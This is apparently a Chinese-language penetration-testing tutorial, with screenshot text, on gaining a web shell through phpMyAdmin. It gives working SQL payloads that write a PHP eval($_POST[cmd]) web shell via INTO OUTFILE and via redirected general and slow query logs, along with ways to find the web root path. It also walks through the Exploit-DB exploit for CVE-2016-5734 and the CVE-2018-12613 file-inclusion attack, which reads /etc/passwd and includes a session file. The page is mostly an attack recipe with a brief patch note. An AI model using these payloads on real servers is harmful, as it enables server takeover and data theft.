phpmyadmin getshell

phpmyadmin

环境:

phpstudy2014

select into outfile 直接写入

利用条件:

- 1、root 权限(有写入权限)
- 2、有网站绝对路径

1. 首先判断是否有写入权限

SHOW VARIABLES LIKE "secure_file_priv";

🗐 localhost											~
i 数据库 📄 SQL	🔥 状态	💷 用户	🔜 导出	📑 导入	🥜 设置	🦻 同步	⊥ 复制	● 变量	■ 字符集	🕒 引擎	
显示查询框											
ፆ 您的 SQL 语句已成功试	运行										
HOW VARIABLES L	IKE "secur	e_file_priv"									
											□性能分析[編
选项											
cure_file_priv											
查询结果洗顶											

II.		
II.		
II.	べいデメエート	
II.	5	
II.		

- 1) 当 secure_file_priv 为空,可以读取写入文件任意目录。
- 2) 当 secure_file_priv 为 E:\, 可以读取写入 E 盘。
- 3) 当 secure_file_priv 为 null,不允许读取写入文件。

Notes: secure_file_priv 参数需要修改 mysql 的配置文件,修改完后,重启 mysql,使配置文件生效,实战中遇到为 null 的情况,直接跳过,尝试下一种方法。

2 rows in set (0.00 sec)	ין אַראָאָדאָאָראָזויזע אויער אויאראָדער איז איזער אויער איז איז איז איז אַראָראָדער איז איז איז איז איז איז א 2
	3 E[client]
mysql> SHOW VARIABLES LIKE "secure file priv";	4 port=3306
ERROR 2006 (HY000): MySQL server has gone away	5 [[mvsal]
No connection. Trying to reconnect	6 default-character-set=utf8
Connection id: 1	7 True 11 The Arriver
Current database: *** NONE ***	8 日[mysqld] 任册ysqld 下加入secure_file_priv-
	9 secure file priv= 设置可读可写任音日录。
+	10 port=3306
Variable_name Value	<pre>11 basedir="E:/phpStudy2018/PHPTutorial/MySQL/"</pre>
1	<pre>12 datadir="E:/phpStudy2018/PHPTutorial/MySQL/data/"</pre>
secure_file_priv NULL	13 character-set-server=utf8
++ 1	14 default-storage-engine=MyISAM
l row in set (2.01 sec)	15 ♯支持 INNODB 引擎模式。修改为 default-storage-engine=INNODB 即可。
	16 J#如果 INNODB 模式如果不能启动,删除data目录下ib开头的日志文件重新启动。
mysql> SHOW VARIABLES LIKE "secure_file_priv";	17
ERROR 2006 (HY000): MySQL server has gone away	<pre>18 sql-mode="NO_AUTO_CREATE_USER, NO_ENGINE_SUBSTITUTION"</pre>
No connection. Trying to reconnect	<pre>19 max_connections=512</pre>
Connection id: 1	20
Current database: *** NONE ***	21 query_cache_size=0
	22 table_cache=256
Venichle name Velue	23 tmp_table_size=18M
variable_name value	24 25 thread apple size 0
secure file priv	25 thread_cache_size=8
+	20 myisam max sort life size=040
1 row in set (2 01 sec)	av by for size-35M の 学安全
极步空配罢文供 重白maga1 生效	29 read huffer size=64K
mysal> 形以元配直入针, 里后mysql 生效	30 read rud buffer size=256K

- 2. 获取网站绝对路径的几种思路
- 1) 探针文件,测试文件。如: phpinfo, phpstudy 探针等

		注	と入点			
phpStudy	′探针 for <u>phpStudy 2</u>	<u>014</u>		not <u>不</u>	想显示 phpStudy 探针	
服务器参数						
服务器域名/IP地址	127.0.0.1(127.0.0.1)					
服务器标识	Windows NT DESKTOP-7TSAH	E9 6.2 build 9200 (Windows 8	Business Edition) i586			
服务器操作系统	Windows 内核版本: NT		服务器解译引擎	Apache/2.4.10 (Win32) 0	OpenSSL/1.0.1i mod_fcgid/2.3.9	
服务器语言	zh-CN,zh;q=0.9		服务器端口	80		
服务器主机名	DESKTOP-7TSAHE9		绝对路径	E:/WWW		
管理员邮箱	admin@phpStudy.net		探针路径	E:/WWW/I.php		
PHP已编译模块合数 Core bcmath c odbc pcre Ref SimpleXML wddx pdo_mysql PDO_	alendar ctype date er lection session standa xml xmlreader xmlwri ODBC pdo_sqlite socket	eg filter ftp hash cd mysqlnd tokenizer ter cgi-fcgi openssl s sqlite3 xmlrpc xsl	iconv json mcry zip zlib libxm curl gd mbstri mhash	pt SPL l dom PDO bz2 ng mysql mysqli F	har	
PHP相关参数						
PHP信息 (phpinfo):		PHPINFO	PHP版本 (php_versi	PHP版本 (php_version): 5.6.		
PHP运行方式:		CGI-FCGI	脚本占用最大内存(memory_limit) :	128M	- C ない 学 9
PHP安全模式 (safe_	mode) :	×	POST方法提交最大限	限制 (post_max_size): 8M		
I state in the second of	unload may filogize) :	2M	にお用いた日日二からた	htibWh (execision) :	14	

2)通过对参数的删(不给参数)改(参数值改为负数,加单引号等),使程序报错,从而输出
 绝对路径。

← → C ☆ ③ 127.0.0.1/sqlli.php	
Notice: Undefined index: id in E:\WWW\sqlli.php on line 5 id=	
user_id: 0 user: lxhsec	
 执行的sql语句: select * from tb_test where id=''	(A) 学安全

3)通过访问不存在的页面,使得应用程序出错,从回显的错误页面,获取绝对路径。

例如 iis:

← → C △ ◎ 不安全 /xxxx.asp		☆ 👒	0	<i>I</i>]]	<u>*</u>	•	e d	v
应用程序"HYW2563860001"中的服务器错误								
							Internet	t Inforn
ALCOMPT								
HTTP 供得 404.0 - Not Found								
您要找的资源已被删除、已更名或暂时不可用。								
详细描误信息								
模块 IIS Web Core	请求的 URL	http:// /xxxx.asp						
通知 MapRequestHandler	物理路径	f:\usr\Lo r\h 0001\xxxx.asp						
处理程序 ASPClassic	登录方法	匿名	_					
猫 课代码 0×80070002	登录用户	置名						
最可能的原因:								
 ・ 地域回対電気地域大性、VEU 800分離LC小特化。 ・ URL 計算構成。 ・ 某个目空义得低器或煤块(知 URLScan)限制了対抗文件的访问。 				ç	0	Ţ.	安全	
				_				

4) 通过查询 mysql 存储数据的目录 select @@datadir; ,猜测网站的路径.

्म localhost	
□ 数据库 📄 SQL 🐧 状态 💷 用户 🔜 导出 🔜 导入 🥕 设置 🍺 同步 📗 复制 💿 变量 重 字符集 🕼 引擎	
显示查询框	
✔ 显示行 0 - 0 (1 总计, 查询花费 0.0002 秒)	
SELECT @ @datadir	
	□ 性能分析 [快速编辑] [编辑] [解析 SQL] [创建 PHP 付
皇示: 起始行: 0 行数: 30 每 100 行重复表头	
+ 选项 @@datadir E\phpStudy\MySQL\data\	
显示: 認始行: 0 行数: 30 每 100 行重复表头	
 查询结果选项 白 打印预吃 (全文显示) → 号出 → 显示图表 ■ 新建视图 	《 学安全

5) 读取配置文件信息,从而得到绝对路径。

例如:读取 httpd.conf

Apache 的配置文件名字为 httpd.conf

tj≅localhost	the second second second second second second second second second	
🔒 数据库 🔒 SQL 🔩 纸态 📧 用户 🔜 导出 🔜 导入		
✓ 显示行 0 - 0 (1 总计, 衝向花奏 0.0005 秒)		- 12
SELECT HEX(LOAD_FILE('E /phpStudy/Apache/conf/httpd conf))	in many many some	
聖示: 総約行: 0 行物: 30 年 100 行進現長头	and the second se	and the second
- 200	当前位置:站长工具 > Hex编码/Hex编码	1 独立服务器 32核160
 ● 部分内容 ※显示二出制内容 ● 地域対応器转換 ◎ 几何体 ● 対応内容 □ 显示 BLOB 内容 ○ 文本地达式 (WKT) 	Unicode编码 UTF-8编码 URL编码/解码 Unico时间数 Ascii/Native编码互转 Hex编码/解码	д
● 以十六进制显示二进制内容 ● 二进制表达式 (WKB)	# explicitly permit access to web content directories in other	
	# <directory> blocks below.</directory>	
	DocumentRoot "E:\WWW"	
hex(LOAD_FILE('E:/phpStudy/Apache/conf/httpd.conf')) 232020706F77657220627920706870537475647920203230313420207777772E706870537	<directory></directory>	
	Options +Indexes +FollowSymLinks +ExecCGI	
星示: 起始行: 0 行数: 30 每 100 行重复表头	AllowOverride All)fyï
dia Tetrada III 18 TE		gb2312 *

Notes: phpstudy 安装时,网站根目录 www 是可以和 mysql 目录分开的,所以,上面猜测网站 路径为 E:/phpstudy/www,实际上并不是,但是 phpstudy 中, mysql 跟 apache 是固定的路 径,通过 select @@datadir; 猜测网站配置文件路径为 E:/phpstudy/Apache/conf/httpd.conf,读 取配置文件信息,从而获取正确的绝对路径为 E:\www.

6) 其他

例如:cms exp 爆路径,利用搜索引擎,根据同服的其他站点的报错显示进行猜测 等方法。

3. 写入文件

select '<?php eval(\$_POST[cmd]); ?>' into outfile 'E:/WWW/shel11.php';

🗐 localhost													
🗊 数据库	📄 SQL	🐁 状态	■ 用户	🌄 导出	📑 导入	🥜 设置	🗦 同步	⊥ 复制	• 变量	■ 字符集	🗟 引擎		
✓ 您的 SQL 语	自己成功运	云行(查询初	2费 0.0053 利	沙)									
SELECT ' </td <th>php eval(\$ LE 'E:/WW</th> <td>_POST[cn /W/shel1l.j</td> <th>nd]); ?>' php'</th> <td></td>	php eval(\$ LE 'E:/WW	_POST[cn /W/shel1l.j	nd]); ?>' php'										
													01
在服务器 '	"localhost	" 运行 SQL	查询: 😡										
1 select '	php eval(\$_</th <td>_POST[cmd]);</td> <th>?>' into outf</th> <td>ile 'E:/WWW/s</td> <td>helil.php';</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	_POST[cmd]);	?>' into outf	ile 'E:/WWW/s	helil.php';								
											(*	بخريد (~
清除											~	UFX	<u>-</u> E

4. 验证文件是否可被解析,

Notice: Use of undefined constant cm	d - assumed 'cmd' in E:\WWW\shel1l.ph	np on line 1
	PHP Version 5.6.1	
	System	Windows NT DESKTOP-7TSAHE9 6.2 build 9200 (Windows 8 Bu
	Build Date	Sep 24 2014 18:53:09
	Compiler	MSVC11 (Visual C++ 2012)
	Architecture	x86
	Configure Command	cscript /nologo configure.js "enable-snapshot-build" "enab isapi" "disable-nsapi" "without-mssql" "without-pdo-mss oci=c:\php-sdk\oracle\x86\instantclient_12_1\sdk,shared" "w sdk\oracle\x86\instantclient_12_t\sdk,shared" "with-enchant "enable-com-dotnet=shared" "with-mcrypt=static"with
	Server API	CGI/FastCGI
	Virtual Directory Support	disabled
	Configuration File (php.ini) Path	C:\WINDOWS
	Loaded Configuration File	E:\phpStudy\php56n\php.ini
	Scan this dir for additional .ini files	(none)
	Additional ini files parsed	(none)
🖟 📋 Elements Console Network	Sources Performance Memory Applica	tion Security Audits ScanAnnotation HackBar
Encryption - Encoding - SQL -	XSS - LFI - XXE - Other -	
Load URL http://127.0.0.1/shel1	.php	
💽 Execute 🖉 Post data 🔲 Refe	erer 🔲 User Agent 📄 Cookies Clear	All
cmd=phpinfo();		

遇到的问题

中文路径写 shell 问题,

在 mysql 中,中文路径写 shell,如下:

set names utf8;

select '<?php eval(\$_POST[\'cmd\']);?>' into outfile 'E:/WWW/测试/test.php';

正常写入:

	组织	mysql> set names utf8;	
脑 >(E:) > W	WW > 测试	Query OK, O rows affected (0.00 sec)	
名称	1	mysql> select ' php eval(\$_POST[\'cmd\']);? ' into outfile 'E:/WWW/测试/test.p Query OK, 1 row affected (0.01 sec)	ohp'
test.php	2	mysql>	
		mysql>	
		mysql> 📌 学安全	
		mysql> mysql>	

将语句放在 phpmyadmin 时,就报错了,Mysql 返回的路径是乱码! ! !



解决如下: 抓取执行 sal 时的数据包,如下:



观察 sql_query 参数,

set+names+utf8%3B%0D%0Aselect+'%3C%3Fphp+eval(%24_POST%5B%5C'cm d%5C'%5D)%3B%3F%3E'+into+outfile+'E%3A%2FWWW%2F%E6%B5%8B%E8%AF%95 %2Ftest.php'%3B

将

 %E6%B5%8B%E8%AF%95
 ,更改为 %B2%E2%CA%D4
 ,重放数据包就完事了,phpmyadmin 编码的问

 题。





开启全局日志 getshell

环境:

phpstudy2018

利用条件:

1、root 权限(有写入权限)

2、有网站绝对路径

当 secure_file_priv 为 null 时,无法使用 select into outfile 写入文件。



mysql5.0 版本以上会创建日志文件,这时我们可以尝试通过修改日志的全局变量进行 getshell。

1、首先查询全局日志是否开启

SHOW VARIABLES LIKE 'general%';

uysql> SHOW VARIABLE	ES LIKE 'general%';	
Variable_name	Value	
general log	OFF	



当开启了全局日志,会记录所有执行的 sql 语句。

2、将全局日志开关打开,并修改日志文件的存储路径

- SET GLOBAL general_log='on';
- SET GLOBAL general_log_file='E:/WWW/logshell.php';

🗊 localh	ost										
1 数据库	📄 SQL	🜗 状态	■ 用户	🔜 导出	📑 导入	🎤 设置	🗦 同步	↓ 复制	💿 变量	■ 字符集	🕼 引擎
在服务	在服务器 "localhost" 运行 SQL 查询: 🥑										
1 SET GLOBAL general_log_file='E:/WWW/logshell.php':# MySQL 返回的查询结果为空(即零行)。 3 SET GLOBAL general_log_file='E:/WWW/logshell.php':# MySQL 返回的查询结果为空(即零行)。 4 4 4 4 4 4 4 5 5 5 5 5 5 5 5 5 5 5 5 5											
	🔎 logshell.	php - Every	/thing								
	文件(F) 编辑(E) 查看(V) 搜索(S) 书签(B) 工具(T) 帮助(H)										
logshell.php											
清除	名称 Digshell.p	ohp 🔶				^					

3、通过查询的方式,将一句话写入,然后连接测试。

SELECT '<?php eval(\$_POST["cmd"]);?>'

执行完 sql 语句,可以看到在日志文件中记录了刚才执行的 sql 语句。

127.0.0.1/phpmyadmin/index.php?token=6b98457	E\WWW\logshell.php - Notepad++
🗊 localhost	文件(E) 編輯(E) 搜索(S) 视图(V) 编码(N) 语言(L) 设置(I) 工具(Q) 宏(M) 运行(B) TextFX 插件(P) 窗口(W) 2
◎ 数据库 □ SQL ● 状态 ● 用户 □ 导出。	3 = H \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$
	🔚 logshell.php🖾 🔶
显示查询框	E:\phpStudy2018\PHPTutorial\MySQL\bin\mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). starte TCP Port: 3306, Named Pipe: MySQL
✔ 显示行 0 - 0 (1 总计, 查询花费 0.0002 秒)	3 Time Id Command Argument
	4 7 Init DB mysql 5 7 Query SHOW MASTER LOGS
SELECT ' php eval(\$_POST["cmd"]);? '	6 7 Quit
	8 200419 20:54:11 8 Connect root@localhost on
	9 8 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci' 10 8 Init DB mvsgl
显示: 起始行: 0 行数: 30 每 100	11 8 Query SHOW MASTER LOGS
	12 8 Quit 13 200419 20:54:13 9 Connect root@localhost on
+ 选项	14 9 Query SET NAMES 'utf8' COLLATE 'utf8 general_ci'
php eval(\$_POST["cmd"]);?	16 9 Query SHOW MASTER LOGS
<rpnp eval(\$_post["cmd"]);?=""></rpnp>	17 9 Quit 18 200419 20:54:16 10 Connect root@localhost op
	19 10 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci'
显示: 起始行: 0 行数: 30 每 100	20 200419 20:56:17 11 Connect root@localhost on
	22 11 Query SET NAMES 'utf8' COLLATE 'utf8 general_ci' 23 11 Query SELECT '<2nhp eval (S_POST ("cmd")) *2S'
查询结果选项	24 11 Query SHOW VARIABLES LIKE 'profiling'
🚔 打印预览 🚔 打印预览(全文显示) 🜉 导出 💼 显示	25 11 Quit (论,堂安全

4、验证文件是否可被解析。

← → C ☆ ③ 127.0.0.1/logs	nell.php	¤₂ Q ☆ 💁 O 川 🧯					
E:\phpStudy2018\PHPTutorial\MySQL\ mysql 7 Query SHOW MASTER LOGS 7 'utf8_general_ci' 8 Init DB mysql 8 Que SHOW MASTER LOGS 9 Quit 200419 2 SET NAMES 'utf8' COLLATE 'utf8_gene	bin\mysqld.exe, Version: 5.5.53 (MySQL 7 Quit 200419 20:53:41 1 Query SHOW V ry SHOW MASTER LOGS 8 Quit 200419 :0:54:16 10 Connect root@localhost on 1 ral_ci' 11 Query SELECT '	Community Server (GPL)). started with: TCP Port: 3306, Named Pipe: MySQL ARIABLES LIKE 'general%' 200419 20:54:11 8 Connect root@localhost on 8 C 20:54:13 9 Connect root@localhost on 9 Query SET NAMES 'utf8' COLLATE 'u 0 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci' 10 Quit 200419 20:56:1					
	PHP Version 5.6.27	Ph					
	System	Windows NT DESKTOP-7TSAHE9 10.0 build 18363 (Windows 10) i586					
	Build Date	Oct 14 2016 10:15:39					
	Compiler	MSVC11 (Visual C++ 2012) x86					
	Architecture						
	Configure Command cscript /nologo configure.js "enable-snapshot-build" "enable-debug-pack" "disable-zts" 'dis isapi"disable-nsapi"without-mscql"without-pdo-mscql"without-playeb"with-pdo- cic=chpt-sck(vorade/x&/0kinstanticlient,12_1\sck,shared"witho-enable-object-out-dir=_ sck/vorade/x&/0kinstanticlient,12_1\sck,shared"with-enchant-shared "enable-object-out-dir=_ "-enable-com_dotters=shared"with-enchant-shared "enable-object-out-dir=_						
	Server API	CGI/FastCGI					
	Virtual Directory Support	disabled					
🕞 🖬 Elements Console Network	Sources Performance Memory Applica	, ition Security Audits ScanAnnotation HackBar Augury					
Encryption - Encoding - SQL -	XSS - LFI - XXE - Other -						

🐰 Split URL		
• Execute	Post data Referer User Agent Cookies Clear All	
	cmd=phpinfo();	

使用慢查询日志 getsehll

环境:

phpstudy2014

利用条件:

- 1、root 权限(有写入权限)
- 2、有网站绝对路径

当日志量庞大,通过全局日志文件 GETSHELL 出现问题时,可以使用。

MySQL 慢查询日志是 MySQL 提供的一种日志记录,它用来记录在 MySQL 中响应时间超过阀 值的语句。

查看默认阀值:

show variables like '%long_query_time%';

🗐 localhos	ŧ														
🗊 数据库	📄 SQL	🔥 状态	き 用户	📑 合田	📑 骨入	🥜 设置	🍺 同步	⊥ 复制	● 変量	■ 字符集	🕒 引擎				
显示查询框															
🛹 您的 SQL	语句已成功;	宣行													
SHOW VAR		KE 1% long	auony tim	10% ¹											
SHOW VAR	NADLES L	INE /olong	_query_um	10 70									□ 性能分	祈[編輯][创	建 PHP 代码] [)
+ 选项															
Variable_nar	me Value														
long_query_t	time 10.000	0000													
查询结果	选项														



① 学安全

当 SQL 的运行时间超过了阈值,则会被记录到慢查询日志中。

1、首先查询慢查询的日志记录是否开启

show variables like '%slow_query%'

✔ 您的 SQL 语句已	成功运行	
	ES LIKE "%slow_query%'	
	 性能分析[編辑][创建 PHF 	P代码][刷新]
+ 选项 Variable name	Value	
slow_query_log	OFF	
slow_query_log_file	E\phpStudy\MySQL\data\DESKTOP-7TSAHE9-slow.log	
查询结果选项	(论)学	安全

2、开启日志,并指定日志文件的路径(如果有写权限,执行完下列 sql 语句后,会生成 slowlogshell.php 文件)

set GLOBAL slow_query_log_file='E:/WWW/slowlogshell.php'; set GLOBAL slow_query_log=on;

显示查询框		
✔ 您的 SQL 语句已成	成功运行	
SHOW VARIABLE	S LIKE '%slow_query%'	
		□性能分析[编辑]
+ 选项		
Variable_name	Value	
slow_query_log	ON	
slow_query_log_file	E:/WWW/slowlogshell.php	

	- 1

3、执行慢查询语句,

select '<?php eval(\$_POST[cmd]); ?>' or sleep(11)

👎 localhost	
🗊 数据库 📄 SQL 🔩 状态 📧 用户 🔜 导出 🔜 导,	入 🚀 设置 🦆 同步 ⊥ 复制 💿 交量 🔳 字符集 👒 引擎
✔ 显示行 0 - 0 (1 总计, 查询花费 11.0003 秒)	🚽 E\WWW\slowlogshell.php - Notepad++ (Administrator)
	文件(E)编辑(E)搜索(S)视图(V)编码(N) 语言(L)设置(I) I具(Q) 宏(M) 运行(B) TexTFX 插件(P) 窗口(W) 2
SELECT ' php eval(\$_POST[cmd]); ? '	3 월 월 월 16 16 16 16 10 ₽ € 8 16 19 4 4 16 16 18 18 18 18 18 18 18 18 18 18 18 18 18
OR SLEEP(11)	slovlogshell.phpkd
	1 E: pppStudy_MySQL/Din/mySqLd.exe, Version: 5.5.40 (MySQL Community Server (GPL)). starter 2 TCP Port: 3306 Named Pipe: MySQL
	3 Time Id Command Argument
	4 E:\phpStudy\MySQL\bin\mysqld.exe, Version: 5.5.40 (MySQL Community Server (GPL)). starte
显示: 起始行: 0 行数: 30 每 100 行重	5 TCP Port: 3306, Named Pipe: MySQL
	7 # Time: 200425 10:58:06
+ 洗顶	8 # User@Host: root[root] @ localhost [127.0.0.1]
	9 # Query_time: 20.009373 Lock_time: 0.007942 Rows_sent: 0 Rows_examined: 2
<pre>'<?php eval(\$_POST[cmd]); ?>' or sleep(11)</pre>	10 use mysql; 11 # mime - 200425 16:52:04
0	12 # User@Host: root[root] @ localhost [127.0.0.1]
	13 # Query_time: 11.000727 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0
	14 SET timestamp=1587804724;
显示: 起始行: 0 行数: 30 每 100 行重	<pre>is select '<'pop eval(\$_POST(cmal)); '>' or sleep(il); 16</pre>
查询结果选项	
🚔 打印预览 🚔 打印预览 (全文显示) 🔜 导出 🚹 显示图表 📑	
	シート シート シート シート シート シート シート シート

4、验证文件是否解析

				_			
$\leftarrow \rightarrow$ C \heartsuit	© 127.0.0.1/slowlogshell.php		2 ☆	0 _x			
E:\phpStudy\MySQL\bin\mysqld.exe, Version: 5.5.40 (MySQL Community Server (GPL)). started with: TCP Port: 3306, Named Pipe: MySQL Time Id Command Argument # Time: 200425 10:58:06 # User@Host: roi 20.009373 Lock_time: 0.007942 Rows_sent: 0 Rows_examined: 2 use mysql; # Time: 200425 16:52:04 # User@Host: root[root] @ localhost [127.0.0.1] # Query_time: Rows_examined: 0 SET timestamp=1587804724; select ' Notice: Use of undefined constant cmd - assumed 'cmd' in E:\WWW\slowlogshell.php on line 15							
	PHP Version 5.6.1			ot			
Elements	Console Network Sources Performance Memory Application Security Audits ScanAnnotation HackBar Augury						
Encryption - E	Incoding + SQL + XSS + LFI + XXE + Other + http://127.0.0.1/slowlogshell.php						
) Execute	Post data Referer User Agent Cookies Clear All						
	cmd=phpinfo();	う学:	安全	<i>.</i>			

phpmyadmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)

影响版本

phpMyAdmin 4.0.x—4.6.2

4.0.x <= X < 4.0.10.16

4.4.x <= X < 4.4.15.7

4.6.x <= X < 4.6.3

影响范围参考: https://www.phpmvadmin.net/security/PMASA-2016-27/

漏洞是由于,在 PHP5.4.7 以前, preg_replace 的第一个参数可以利用 \ 0 进行截断所引发 的,而 4.6.x 版本要求需要 php5.5+,所以 4.6.x 版本无法复现该漏洞。

这里以 phpmyadmin4.4.15.6+phpstudy2014+php5.3.29 复现

下载地址:

https://files.phpmyadmin.net/phpMyAdmin/4.4.15.6/phpMyAdmin-4.4.15.6-alllanguages.zip

把解压后的文件目录放在 Web 目录下,这里我们的文件目录为 phpmyadmin4。

访问: 127.0.0.1/phpmyadmin4, root, root 即可访问。

[!] ሰ ወ 127.0.	0.1/phpmyadmin4/index.php?token=fe681b9180f617c398ea49cd1705400f#PMAURL-0:index.ph Q	☆ 🐛 📕 🚽 📕 👾 👘
yAdmin	← 『■ ■ B & S & localhost	
9 🗊 C	◎ 数据库 』 SQL 4 状态 ▲ 用户 易 导出 易 分 沙 设置 1 复制 ④ 变量 目 字符集	□ 引擎
7藏夹	常规设置	数据库服务器
es	∲ 修改密码	• 服务器: localhost via TCP/IP
5	■ 服务器连接排序规则 🕢: utf8mb4_unicode_ci 🔻	 服务器类型: MySQL 服务器版本: 5.5.40 - MySQL Community Server (GPL)
		• 协议版本: 10
ion_schema	外观设置	 用户: root@localhost 服务器字符集: UTF-8 Unicode (utf8)
15	爱语言 - Language ③: 中文 - Chinese simplified	网站服务器
ance_schema	④ 主題: pmahomme ▼	Apache/2.4.10 (Win32) OpenSSL/0.9.8zb mod fcqid/2.3.9
	• 字号: 82% ¥	 数据库客户端版本: libmysql - mysqlnd 5.0.8-dev - 20102224 731e5b87ba42146a687c29995d2dfd8b4e40b325 \$
2	▶ 更多设置	• PHP 扩展: mysqli 🥹
		• PHP 版本: 5.3.29
		nhnMvAdmin
		pripriyAdmin
		 版本信息: 4.4.15.6 文档
		• 维基 · 完全主要
		• 百万王贞 • 贡献
		· ^{获取支持} · 更新法

验证漏洞

漏洞需要登陆,且能够写入数据。 POC 地址:

https://www.exploit-db.com/exploits/40185

执行:

py2 .\40185.py -u root -p root -d test http://127.0.0.1/phpmyadmin4 -c "system('whoami')"



不指定数据库名,数据库名默认为 test,表名为 prgpwn,执行的代码为 system('uname - a'); 。

实战中最好指定数据库名,因为数据库名 test 可能不存在,库名不存在 是 不会自动创建的。



修复建议

- 1、升级 phpmyadmin 至最新版本
- or
- 2 升级 nhn 版本 大干等于 5.4.7

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

影响版本

phpMyAdmin 4.8.0, 4.8.1

影响范围参考: https://www.phpmyadmin.net/security/PMASA-2018-4/

这里以 4.8.1+phpstudy2014 复现

下载地址:

https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip

把解压后的文件目录放在 Web 目录下,这里我们的文件目录为 php。

访问: 127.0.0.1/php, root, root 即可访问。

验证漏洞

Linux 下:

http://127.0.0.1/php/index.php?target=db_sql.php%253f/../../../../../../../etc/passwd

Windows:

http://127.0.0.1/php/index.php?target=db_sql.php%253f/../../../../../windows/win.ini



利用

执行 SELECT '<?=phpinfo()?>'; , 并抓包获取 Cookie 中的 phpMyAdmin 值, 如下:

1in ☆ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■							
💿 数据库 📄 SQL 🚯 状态 🛤 账户	📑 导出 🔚 导入 🥜 设置 🧵 复制 💿 变量 📑 字	符集 🐻 引擎 훩 插件					
· 显示查询框							
🔷 🖌 正在显示第 0 - 0 行 (共 1 行, 査询花要 0.0002 和	·)						
SELECT ' =phpinfo()? '							
		□ 性能分析 [编辑内					
□ 显示全部 行数: 25 ▼ 过滤行:	在表中搜索						
+ 选项 <?=phpinfo()?> a =phpinfo()?							
 □ 显示全部 行数: 25 ▼ 过滤行: ▼ ■ 控制台 	在表中搜索						
Console Network Sources Performance Memory	Application Security Audits ScanAnnotation HackBar	Augury					
Preserve log 🔲 Disable cache 🛛 Online 🔻 🖠 🛓							
Hide data URLs All XHR JS CSS Img Media Font	Doc WS Manifest Other 🔲 Has blocked cookies						
ms 6000 ms 8000 ms 10000 ms 12000 m	14000 ms 16000 ms 18000 ms 20000 ms	22000 ms 24000 ms 26000 ms 28000 ms 30					
K Headers Preview Response Initiator Timing Cookies							
Request Cookies Show filtered out request cookies							
Name	Value	Domain Path Expires / M.					
pma_lang	zh_CN	127.0.0.1 /php/ 2020-05-25 13					

phpMyAdmi		jh91sukivk3ocetpntuhamhi2tbsudsd	127.0.0.1	/php/	Session			√
-----------	--	----------------------------------	-----------	-------	---------	--	--	----------

包含 session 文件, 默认的存放位置:

Linux: /tmp 或 /var/lib/php/session Windows: C:\WINDOWS\Temp

这里我们 session 文件的存储路径是:

C:/Users/[Username]/AppData/Local/VirtualStore/Windows/sess_jh91sukivk3ocetpntuhamhi2tbsuds

d

107.0.0.1/1. /	1 1 0/050/////		D	10/2 1 101	045 L (1.01 0				
127.0.0.1/pnp/index.pnp?target=dt	o_sql.pnp%253t///	//Users/IX	AppData/Lo	ocal/virtualsto	e/windows/se	ssjn91s 🔍	Ŷ			
min 🗠 现来铁 localhost										
● 数据库 ■ SQL ■ 状态 ■	▶ 账户 📧 🛛 导出 🔜	导入 🔜 🛛 设置 🥕	复制业	変量 🕗 字	特集 ■ 引撃 🛙	新件 🏚				
PMA_token js:16**A-UQ1WWe@ (s11**MA_VERSION*Ss*4.8.1** (s13**erver_1_root*at/6js(14*m (60*;1***)s*11**dbs_to_test*;b0; (s0**database*;s0**数間構下;s3** 量;s7**charset*;s0**支利機構下;s3** (s15**userprefs_mtm*;1587*d1 (s4**lang*;s5*zh_CN*s;12**Cons (s7**only_db*;s0**;s7**hide_db*;	zz(*;browser_access_time zr:*relwork*;b0;sr11:*disp ysql_cur_user*;sr14:*root 9:*proc_priv*;b1;sr10:*tal ql*;s3:*SQL*;s6*:status*;s hugins*;s6*:*播件*;s56*:eng 9597;sr14:*userprefs_type* ole/Mode*;s:8:*collapse*;) s.0:**;))}(mpval[a:13:(sr13);	a:1:{s:7:*default;%:1587 aywork;b:0:s:12:*book; 90calhost;s:17:*is_crea e_priv;b:1;s:8:*col_priv :6:*状态;s:6:*ights;s:6:* ine*;s:6:*ights;19:17:*confi s:2:*ts;1:1587810834;}tw rcc_tables;a:1;[i:1;a:	810830;}relati narkwork";b: te_db_priv*;b ";b:1;s:7:*db_ 用户*;s:6:*exp filing_suppor g_mtime*;i:1 ro_factor_che D:{}}s:15:*favo	ion a:1:{i:1;a:22; 0;s:7:*pdfwork*;b c1;s:14:*is_reload priv*;b:1;s:12:*is_ port*;s:6:*\\$\\$#;s:6 ted*;b:1;5:8:*serv 527216356;})encr ck b:1;ConfigFile* rite_tables*;a:1:{i;	0;s:8:"commwork" priv";b:1;s:12:"db_ jrantuser";b:1;s:13 "import";s:6:"号入 er_1";a:3: /ption_key[s:32:"D aia2:{s:7:"Console" 1;a:0:{}s:5:"query"	;b:0;s:8:"mimework" to_create";s:0:"';s:30 :"is_createuser";b:1;s :"s:8:"settings";s:6:"b &C&IBAjDC ;a:1;{s:4:"Mode";s:8: ;a:1;{s:32:"8af367146	b:0;s:11:*historywork **dbs_where_create_t :12:*is_superuser';b:1 @=";s:6:*binlog*;s:15: \$.J\$j0\$\$\$ collapse*;Js:7:*Server e38689a51ea6546e9	";b:0;s:10:"recentwork" able_allowed";a:1: ;s:11:"binary_logs";a:0: "二进制日志";s:11:"repli ©0a□";userconfig]a:2:{ s";a:1:{i:1;a:2: b0b5d5";a:8:{s:3:"sql";s	;b:0;s:12:"favorit (]s:18:"menu-lev cation";s:6:"复制 s:2:"db";a:2: :23:"SELECT '	
	PHP Version 5.6.1 System Windows NT DESKTOP-7TSAHE9 6.2 build 9200 (Windows 8 Business Edition) i586									
	Build Date			Sep 24 2014 18:53:09						
	Compiler	Compiler			MSVC11 (Visual C++ 2012)					
